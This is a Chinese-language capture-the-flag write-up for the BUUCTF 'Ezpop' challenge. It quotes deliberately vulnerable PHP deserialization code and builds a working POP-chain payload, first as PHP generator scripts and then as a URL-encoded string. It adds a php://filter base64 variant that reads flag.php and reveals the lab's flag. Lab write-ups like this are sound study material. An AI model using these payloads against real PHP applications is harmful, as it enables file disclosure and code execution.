BUUCTF——Ezpop
BUUCTF——Ezpop
进入靶场
给了php代码
<?php
//flag is in flag.php
//WTF IS THIS?
//Learn From https://ctf.ieki.xyz/library/php.html#%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E9%AD%94%E6%9C%AF%E6%96%B9%E6%B3%95
//And Crack It!
class Modifier {protected $var;public function append($value){include($value);}public function __invoke(){$this->append($this->var);}
}class Show{public $source;public $str;public function __construct($file='index.php'){$this->source = $file;echo 'Welcome to '.$this->source."<br>";}public function __toString(){return $this->str->source;}public function __wakeup(){if(preg_match("/gopher|http|file|ftp|https|dict|\.\./i", $this->source)) {echo "hacker";$this->source = "index.php";}}
}class Test{public $p;public function __construct(){$this->p = array();}public function __get($key){$function = $this->p;return $function();}
}if(isset($_GET['pop'])){@unserialize($_GET['pop']);
}
else{$a=new Show;highlight_file(__FILE__);
}
这段代码展示了一个典型的PHP反序列化漏洞利用场景,通过精心构造的序列化数据可以实现文件包含和任意代码执行。
代码结构分析
代码包含三个类:
- Modifier类:
- 包含一个受保护的属性
$var
- 有
append()
方法,可以包含任意文件 - 当对象被当作函数调用时(
__invoke
),会执行append($this->var)
- 包含一个受保护的属性
- Show类:
- 包含
$source
和$str
属性 - 有
__toString()
魔术方法,当对象被当作字符串时会返回$this->str->source
- 有
__wakeup()
魔术方法,在反序列化时执行,对$source
进行过滤
- 包含
- Test类:
- 包含
$p
属性 - 有
__get()
魔术方法,当访问不存在的属性时,会将$p
作为函数调用
- 包含
构造payload
<?php
class Modifier {protected $var = "flag.php";
}class Show {public $source;public $str;
}class Test {public $p;
}$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;$show1 = new Show();
$show1->str = $test;$show2 = new Show();
$show2->source = $show1;echo urlencode(serialize($show2));
?>
将生成的序列化代码在url中传给?pop
?pop=O%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BO%3A4%3A%22Show%22%3A2%3A%7Bs%3A6%3A%22source%22%3BN%3Bs%3A3%3A%22str%22%3BO%3A4%3A%22Test%22%3A1%3A%7Bs%3A1%3A%22p%22%3BO%3A8%3A%22Modifier%22%3A1%3A%7Bs%3A6%3A%22%00%2A%00var%22%3Bs%3A8%3A%22flag.php%22%3B%7D%7D%7Ds%3A3%3A%22str%22%3BN%3B%7D
没拿到
再用伪协议base64输出一下看看
构造payload
<?php
class Modifier {protected $var = "php://filter/read=convert.base64-encode/resource=flag.php";
}class Show {public $source;public $str;
}class Test {public $p;
}$modifier = new Modifier();
$test = new Test();
$test->p = $modifier;$show1 = new Show();
$show1->str = $test;$show2 = new Show();
$show2->source = $show1;echo urlencode(serialize($show2));
?>
拿到base64编码
PD9waHAKY2xhc3MgRmxhZ3sKICAgIHByaXZhdGUgJGZsYWc9ICJmbGFne2M0ZmViNWFmLTZiOTgtNGQ1Ni04MWFmLWNhZTJjNDVhZGNjM30iOwp9CmVjaG8gIkhlbHAgTWUgRmluZCBGTEFHISI7Cj8+
解码看看
<?php
class Flag{private $flag= "flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}";
}
echo "Help Me Find FLAG!";
?>
拿到flag
flag{c4feb5af-6b98-4d56-81af-cae2c45adcc3}
下播!!!!!